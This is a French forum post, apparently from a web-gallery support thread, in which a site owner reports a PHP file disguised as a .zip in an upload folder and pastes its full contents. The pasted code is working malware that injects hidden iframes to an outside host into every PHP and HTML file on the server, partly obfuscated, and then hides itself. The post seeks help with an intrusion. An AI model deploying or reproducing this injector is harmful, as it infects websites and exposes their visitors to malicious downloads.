en cherchant un peu sur le serveur, je viens de trouver dans le répertoire albums/userpics/10001 un fichier 142739_298w3.zip qui est en faite un fichier php
voici le contenu :
<?php
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path) {
$dir_array = array();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
//chmod($path.$file,0777);
$fhandle = fopen($path.$file, 'a+');
if($f_ext=="php") {
fwrite($fhandle, "<?php echo '<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>'; ?>");
}
else {
fwrite($fhandle, "<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>");
}
fclose($fhandle);
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
function launch() {
$total = 0;
$last = 1;
$last_num = 0;
$path = $_SERVER['DOCUMENT_ROOT'];
$dirs = array();
array_push($dirs, $path);
while($last) {
$last_num = 0;
for( $j=$total; $j<$total+$last; $j++) {
$temp_dirs = parse($dirs[$j]);
$last_t = sizeof($temp_dirs);
$last_num += $last_t;
for( $i=0; $i<$last_t; $i++) {
array_push($dirs, $temp_dirs[$i]);
}
}
$total += $last;
$last = $last_num;
}
$paths = $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];
unlink($paths);
if (is_file($paths)) {
$fhandle = fopen($paths, 'w');
fwrite($fhandle, "<?php echo'Upload plugins here'; ?>");
fclose($fhandle);
}
}
if (isset($_GET['ff']))
{
echo "~!";
launch();
}
echo '<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>';
?>
Author
Topic: Galerie attaquée ? (Read 43123 times)